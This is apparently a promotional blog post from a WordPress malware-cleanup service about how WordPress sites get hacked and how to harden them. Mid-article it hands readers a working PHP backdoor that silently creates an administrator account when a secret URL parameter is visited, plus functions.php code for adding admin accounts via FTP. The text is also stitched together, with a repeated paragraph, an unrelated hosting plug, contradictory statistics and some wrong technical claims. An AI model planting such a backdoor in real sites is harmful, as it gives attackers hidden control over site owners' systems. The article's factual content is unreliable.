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WordPress is the world’s most widely used content management system. More than 63% of the sites have been created using this CMS, and this makes it the preferred target for hackers. The fact which makes wordpress most prone to hacking is that it utilizes large number of plugins which are open sourced. These plugins may contain some malicious codes and scripts which provide a hacker with platform to inject malware in wordpress and perform nefarious activities. Moreover, new WordPress google dorks are also used by hackers to find sensitive information & websites that are vulnaerable and easy to hack.
WordPress Hacking Estimates:
- 4.3% of WordPress sites scanned: Sucuri, a security company, reported that 4.3% of WordPress websites scanned with their SiteCheck tool in 2023 showed signs of compromise. This translates to roughly 13,000 hacked sites per day or 4.7 million per year.
- 30,000 websites hacked daily: According to Forbes, around 30,000 websites are hacked every day globally. 43% of websites are built on WordPress, so some estimates assume roughly 13,000 of those daily hacks target WordPress sites.
WordPress Hacking Trends:
- Number of hacked sites is increasing: There’s a general consensus that the number of hacked websites is rising year-on-year, partly due to the growing popularity of WordPress and the increasing sophistication of hacking techniques.
- Outdated software is a major vulnerability: Outdated WordPress core, plugins, and themes are a prime target for hackers, as they often contain unpatched vulnerabilities.
- Automated attacks are common: Hackers often use automated tools to scan websites for vulnerabilities, making it crucial to keep your software up-to-date and implement robust security measures.
Resources:
- WordPress Security Release Log: https://wordpress.org/news/category/security/
- Sucuri Security Reports: https://labs.sucuri.net/threat-report/
- WP Engine Website Security Statistics: https://betterstudio.com/statistics/wordpress-security-statistics/
WordPress is a mega technology, as it is used by at least 28,183,568 live websites in 202- source: builtwith
You must be wondering how can hacker hack a wordpress website login. In this post, you will know more about how a WordPress is hacked, reasons which lead to website hacking, various hacking techniques used to hack a WordPress site and tips to prevent security threat in 2024.
NOTE: Purpose of this article is only to provide you basic information on How to break into a WordPress site or bypass login . This guide is only for educational purpose. Mentioned WordPress hacking techniques should not be used for exploitation
The security of your WordPress site is to be questioned when it is hacked without your knowledge. Website hacking can last for months or years if you don’t update your theme, plugins, and CMS.
Containing some basic vulnerabilities in plugins, a WordPress site whose security has not been worked on is an open door to hackers wishing to recover your data or simply corrupt your website. It can lead to defacement of your wordpress site by hackers.
It is important to install wordpress security plugins from the start of the creation of your site so as not to have to fight intrusions all year long.
That is why in this guide we are going to give you all hacking techniques & vulnerabilities that make your WordPress website susceptible to hack and the best practices to ensure the security of your WordPress.
Here are the risks your business is exposed to in this case!
Although, wordpress is most susceptible to hacking but this doesn’t means that other CMS’s are secure. They can also be hacked. For in depth info, head over to – Drupal hacked | Magento Hacked | Prestashop Hacked | Shopify Hacked
Other signs of a hacked wordpress site includes various kind of warning messages/alerts shown by google. Should keep an eye on these warnings:
First of all, it’s not just WordPress. All websites on the Internet are vulnerable to hacking attempts.
The reason why WordPress websites are a common target for hacking is that it is the world’s most popular website builder. Also, this is evident from the fact that search volumes of this phrase “how to hack a wordpress site 2024” is very high. Most of these users are ethical hackers and newbies who want to learn how to hack a website.
This immense popularity offers hackers an easy way to find less secure websites in order to exploit them.
Hackers have different motivations, some are just beginners learning to operate less secure sites.
Hackers are generally malicious people who distribute malware, hijack a site’s hosting resources in order to attack others, or even send spam over the Internet.
Once a hacker is able to bypass login to your wordpress site he can perform various kinds of malicious activities like
With that said, let’s take a look at some of the top reasons why WordPress sites are hacked and how to prevent your website from being hacked.
Like all websites, WordPress sites are hosted on a web server. Some hosting companies neglect the security of their hosting platform. This is particularly often the case for free, unlimited or low-cost hosts.
This can be easily avoided by choosing a best wordpress hosting provider for your website.
Madagascar Internet ensures that your site is hosted on a secure platform with properly configured servers that can block most of the most common attacks on WordPress sites. Also Read – Site hosted on Godaddy hacked – Godaddy site suspended – Siteground Account Suspended WordPress Site
Passwords are the keys to your WordPress site. You need to make sure that you are using a strong unique password for each of the following accounts as they can all provide a hacker with full access to your website.
All of these accounts are password protected. Using weak passwords makes it easier for hackers to crack passwords using basic hacking tools.
You can easily avoid this by using unique and strong passwords for each account.
The WordPress admin area allows a user to access various actions on your WordPress site. It is also the most attacked area of a WordPress site.
Leaving it unprotected allows hackers to try different approaches to crack your website. You can make it difficult for them by adding layers of authentication to your WordPress admin directory.
First of all, you need to protect your WordPress admin area with a password. This adds an extra layer of security, and anyone trying to access the WordPress admin will need to provide an additional password.
If you are running a multi-author or multi-user WordPress site, you can apply strong passwords to all users on your site.
You can also add two-factor authentication to make it even more difficult for hackers to gain access to your WordPress admin area.
File permissions are a set of rules used by your web server. These permissions help your web server control access to files on your site. Incorrect file/folder permissions can give an attacker write and modify access to these files.
All of your WordPress files should have a value of 644 as the file permission. All folders on your WordPress site must have the 755 permission as a file.
Some WordPress users are afraid to update their WordPress sites, fearing that it will degrade the functioning of their website. Each new version of WordPress fixes bugs and security vulnerabilities.
If you don’t update WordPress, you are intentionally leaving your site vulnerable.
If you are concerned that an update will break your website, you can create a full WordPress backup before initiating an update.
That way if something doesn’t work, you can easily go back to the previous version.
We have experienced developers to assist you. Check out our guide on wordpress automatic updates
Just like the main WordPress software, plugins and wordpress theme security is also important. Using an outdated plugin or theme can make your site vulnerable. You can find latest secure wordpress multipurpose themes here.
Security flaws and bugs are often discovered in WordPress plugins and themes. Usually, theme and plugin authors fix them quickly. However, if a user doesn’t update their theme or plugin, there is nothing they can do about it.
Make sure to keep your WordPress theme and plugins up to date and make sure to scan your wordpress themes before doing a fresh installation of nulled WP theme.
WP plugins are prone to vulnerabilities. Its very important that you keep yourself updated. Check out these posts to find out why you should always keep your plugins updated and patch them from time to time.
FTP accounts are used to upload files to your web server using an FTP client. Most web hosts support FTP connections using different protocols. You can connect via a simple FTP, SFTP, or SSH.
When you connect to your site using a simple FTP, your password is sent to the server without encryption. It can be spied on and easily stolen. Instead of using FTP, you should always use SFTP or SSH.
You would not need to change your FTP client. Most FTP clients can connect to your website through both SFTP and SSH. You just need to change the protocol to “SFTP – SSH” when connecting to your website.
You can also use the file manager available in your cPanel. It is a powerful and intuitive tool that has the particularity of offering a compression/decompression function (Zip/unzip) on the server.
Using “admin” as the WordPress username is not recommended. If your administrator username is admin, you should immediately change it to another username.
Many sites on the Internet distribute paid plugins and WordPress themes for free. Sometimes it’s easy to get tempted into using these free plugins and themes for your site.
Downloading WordPress themes and plugins from unreliable sources is very dangerous. Not only can they compromise the security of your website, but they can also be used to steal sensitive information.
You should always download WordPress plugins and themes from reputable sources such as the plugin/theme developers website or official WordPress repositories.
If you can’t afford it or don’t want to purchase a premium plugin or theme, there are always free alternatives for these products. These free plugins might not perform as well as their paid counterparts, but they will get the job done and, more importantly, keep your website safe.
The WordPress wp-config.php configuration file contains your WordPress database-connection information. If compromised, it will reveal information that could give a hacker full access to your website. wp config.php is the most attacked file after wp-content.php.
You can add an extra layer of protection by denying access to the wp-config file using .htaccess. Just add this little code to your .htaccess file.
1 <files wp-config.php>
2 order allow,deny
3 deny from all
4 </files>
Many experts recommend changing the default WordPress table prefix. By default, WordPress uses wp_ as the prefix for tables created in your database. You get an option to change it during installation.
It is recommended to use a slightly more complicated prefix. This will make it harder for hackers to guess the names of your database tables.
Depending on its objectives, a malicious attack opens the way for different possibilities of hacking your WordPress site.
Here are the most frequent attacks and methods which concern the sites created by WordPress:
When HTTP is out of reach of hackers, they will try to access the FTP server and create new administrator rights. In order to create an account outside of the WordPress admin environment, all hackers need is FTP access to the site.
As an administrator, he will have all the information necessary to connect to the server and therefore create new user accounts by creating a new function using your theme.
There are two ways to approach this, firstly by editing the funtions.php via the cPanel and secondly by using an FTP client to achieve this. Using cPanel, hackers open File Manager and locate the active theme folder.
From there it should go to the public_html / wp_content / themes folder and locate the theme. All that remains is to open his file and edit the functions.php.
The code must be added before the closing tag and the hack is done. Don’t forget to change the password as well. Once the new account is created, the hackers remove the code from the functions.php file.
Use this method to change the password (or username if needed) of an existing user or to create a new account. You’ll need cPanel access or direct MySQL access to the site’s database. Let’s get started by changing the password of an existing user.
If you’re using cPanel, login (cPanel can always be accessed via the https://yoursite.com:2083 link), locate and open phpMyAdmin. The list of databases and tables is on the left. You’re looking for the table that ends in _users. It’ll probably be wp_users, but if you have more than one WordPress site installed on the server, you have to find the right one.
The right table will have the user you want to edit in it. Follow the same procedure if you’re connecting to MySQL via some external client like SQLyog. Once you locate the table and the actual user record, it’s time to change the password.
As you’ve probably figured out by now, the password is saved in the user_pass field, hashed using the MD5 algorithm. Open the online MD5 generator enter the password you want to use and click “Hash”. Copy the generated string and replace the original password with it. In phpMyAdmin, you can edit the field by double-clicking on it. The procedure is similar to other MySQL clients. Save changes and login to WordPress with your new password.
FTP Accounts are generally used by users who want to create an area through a directory within their site to allow uploading and downloading files to certain people with a username and password that they assign themselves.
All files published within this area can also be seen from the internet using the domain and folder used.
To create an FTP Account on your site, access your control panel on the “FTP Accounts” icon. In this part, you can configure access to a specific area of your site in order to upload or download files:
The user of the new FTP account must access the site via FTP using a program and with the following data:
Address / Host Name / Address: yourdomain.com or ftp.yourdomain.com User / User: user@yourdomain.com Password: El password assigned to this FTP account
Port: 21
With this, you will only enter the specified folder within your site to upload and download files.
The new user will have read and write permissions both on the chosen directory and on all the subdirectories it contains. For example, if you create the client user and give him access to the / home / user / public_html / client directory (http://www.yourdomain.com/client), that user can add, delete, edit, and so on. all files in / home / user / public_html / client (http://www.yourdomain.com/client), and any subdirectory contained in the client directory (for example, / home / user / public_html / client / images - > http://www.yourdomain.com/client/images).
Note: In the information provided change yourdomain.com to your own domain.
Creating new user accounts on WordPress is very easy. As an admin, you need to navigate to Users admin page where you can create a new account for any user role. That can be done in a matter of seconds and a newly created user can immediately log in with the given username and password.
Create a new user account via FTP:
function admin_account(){
$user = 'Username';
$pass = 'Password';
$email = 'email@domain.com';
if ( !username_exists( $user ) && !email_exists(
$email ) ) {
$user_id = wp_create_user( $user, $pass, $email );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
} }
add_action('init','admin_account'); Change username, password, and email to something unique
Save changes
It is possible for users to leverage man-in-the-middle attacks against those who share the same LAN. As long as the login credentials are not encrypted with a VPN tunnel or other code like HTTPS, the login information will be able to be seen in plain text. Software that mostly enables users to employ this type of attack can brute force plugins, identify vulnerable themes, and enumerate users. We recommend using wordpress passwordless login to make your login mechanism secure.
Bots will try various combinations of your username and password. This method is the easiest for a hacker to access your website. Plugins make it possible to stop brute forces. Requiring two-factor authentication also reduces the risk of a hack.
These inject malicious JavaScript codes into the pages of your WordPress. In this way, they can retrieve the cookies saved during a user’s session. They then have the luxury of impersonating the user by identifying themselves as such. Installing a firewall makes it possible to avoid this type of attack and many problems for your customers.
They aim to decrease the performance of a site, steal data or even delete or corrupt it. Orders are injected into the input fields of your site (identification page for example). A good firewall and sanitization check (to permanently remove sensitive data) is required.
Here is a detailed guide on WordPress Sql Injection.
When the hackers find that the front door is closed, they try to access the back door. It sounds like a malicious way to use code to access and control the site, but sometimes even site owners use this technique to control their website. There will be cases where the front door will not be opened for hackers to access your WordPress site, but then the back door could be vulnerable and hackers will attempt to gain direct access.
This mainly happens when there is a bit of code hidden behind your WordPress environment and hackers can access the WordPress site with administrator privileges. This information can be deleted and backups can be restored thousand times over, but more often than not, the owner does not know anything about backdoor entries.
OK, enough with the talk; here’s a piece of code you will need to get the job done:
add_action('wp_head', 'wploop_backdoor');
function wploop_backdoor() {
If ($_GET['backdoor'] == 'how to hack wordpress') {
require('wp-includes/registration.php');
If (!username_exists('username')) {
$user_id = wp_create_user('name', 'pass');
$user = new WP_User($user_id);
$user->set_role('administrator');
}
}
}
?> If you leave the code as it is, all you would have to do to create a new admin on the site is visit http://www.yourdomain.com/?backdoor=how to hack wordpress
The advent of cryptocurrencies and the Bitcoin craze have spawned new threats like cryptojacking, also known as crypto mining malware. Hackers introduce software to corrupt the systems and resources of a machine (PC, smartphone, server, etc.), in order to exploit cryptocurrency in the background and generate profit in a hidden way.
In a Japanese keyword hack, automatically generated Japanese text begins to appear on your site. This Blackhat SEO spam hijacks Google search results by displaying Japanese words in the title and description of infected pages. This happens when different web pages are presented to search engines and normal visitors. This attack is also known as ” Japanese Keyword Hack “, “Japanese Search Spam” or “Japanese Symbol Spam”.
Phishing is one of the most common hacking terms used by security officers. This is a technique that tricks users into revealing sensitive information (like usernames, passwords, or credit card data) to seemingly harmless sources.
A phisher disguises himself as a trustworthy entity and contacts potential victims asking them to reveal information. This information could be used for malicious purposes.
For example, a phisher might pose as a bank and request a user’s bank account credentials via email. It can also trick you into clicking on a fraudulent link.
To know how to protect yourself, you have to understand what is a phishing attack, what are the types and how you can recognize it and how to remove phishing from WordPress site. Keep reading, we help you avoid security problems arising from this attack.
You hear websites infected with malware attacks every day, so let’s get to know this hacking terminology better.
Malware is software designed by hackers to hijack computer systems or steal sensitive information from a device. They have various names like viruses, adware, spyware, keyloggers, etc. Malware can be transferred to a system through various means such as USB, hard drive, or spam.
A very common for malware lurking around in 2021 is WP-VCD malware & redirection malware which redirects your website to spam site. Know more about redirection malware here.
For example, a recent malware worked by redirecting WP websites desktop and mobile Opencart and Magento to malicious links. This essentially leads to a loss of customers, reputation and above all a bad impact on search engine rankings.
Check Out These Complete guides to fix Malware infected WordPress sites.
One of the most researched hacking terminologies of 2017. Ransomware is a form of malware that blocks a user’s access to their own system and cuts off access to their files. A ransom message is displayed indicating the amount and location of payment, usually requested in bitcoin, in order to recover your files.
These attacks not only affect individuals but also banks, hospitals, and online businesses. A very recent example of this type of ransom is the Petya attack that recently took businesses around the world by storm.
Hackers who use this practice launch XSS attacks by injecting content into a page, which corrupts the target’s browser.
A hacker can thus modify the web page according to his desires, steal information on cookies, allowing him to hijack sites at will in order to recover sensitive data, or to inject malicious code that will subsequently be executed.
Clickjacking (or “click-hijacking”) is a malicious technique. In this technique, the attacker hijacks a button, a link or an image by superimposing a link (transparent or opaque), knowing that you will click on it. The objective of this type of attack is to make you click on the invisible link instead of letting you click on the intended object of the web page.
As a result, the attacker can execute dangerous commands or gain access to confidential information. Plesk users can be victims of clickjacking when Plesk is opened in iframes on malicious sites.
Did you receive a weird email from a relative (or even an email from yourself)? Do not pay 520 dollars in bitcoin into an unknown account without thinking: you are surely the victim of spoofing. This is a method of spoofing the sending email address.
This type of attack is very common (and sometimes credible). Usually, the hacker tries to make you believe things that are actually completely wrong: he has information about you, a loved one needs you, etc.
In my experience, a multi-faceted approach is essential for robust security. This includes not only technical measures like using strong passwords, updating WordPress core, themes, and plugins regularly, and implementing security plugins such as Wordfence, but also educating clients about the importance of security practices.
In my experience, a multi-faceted approach is essential for robust security. This includes not only technical measures like using strong passwords, updating WordPress core, themes, and plugins regularly, and implementing security plugins such as Wordfence, but also educating clients about the importance of security practices.
Key points include:
Cleaning up a hacked WordPress site can be very painful and will require professional intervention. WPHackedHelp can help you check your website for security risks. For example, they can search for malicious code, suspicious links, suspicious redirects, WordPress version, etc
Check out our detailed guides on how to fix your hacked WordPress website & WordPress Security Checklist 2024 – A Step by Step Guide
By the way, it’s normal that WordPress is so much the target of hackers. Since it is estimated that about a third (35%) of websites are currently running WordPress.
If WordPress shows that a plugin hasn’t been updated for years, it could be a potential breach.
WP Hacked Help team is here to help you! Its a top rated wordpress malware removal service in 2021
If your site has been hacked or is infected with a virus, it means your reputation and your data are at risk. It is important not to wait and to fix the problem now. We know how important your website is to your business and that’s why our experts are here to help you fix and restore hacked wordpress site fast.
What does your cleaning service consist of?
WP Hacked Help cleaning service helps stop the threat so that you can take back control of your website and hosting account with the confidence that the problem is gone forever.
Quick and efficient intervention
We take back control of your website for you and get it back to you in perfect working order, cleaned and secure. Since you need a fast and efficient response, our team will clean, secure and get your website back on track in 48 hours or less. Cleaning and securing your WordPress site is our priority.
Priority support
For this reason, during the whole process, you can contact a specialist at any time for any questions regarding the security of your website.
We guarantee to put an end to SEO spam, hidden backdoors, malware and google blacklist warnings!
Our intervention and security plan takes place in 7 easy steps:
We guarantee that your WordPress site is secure in a sustainable way, as our team implements procedures to reinforce the security.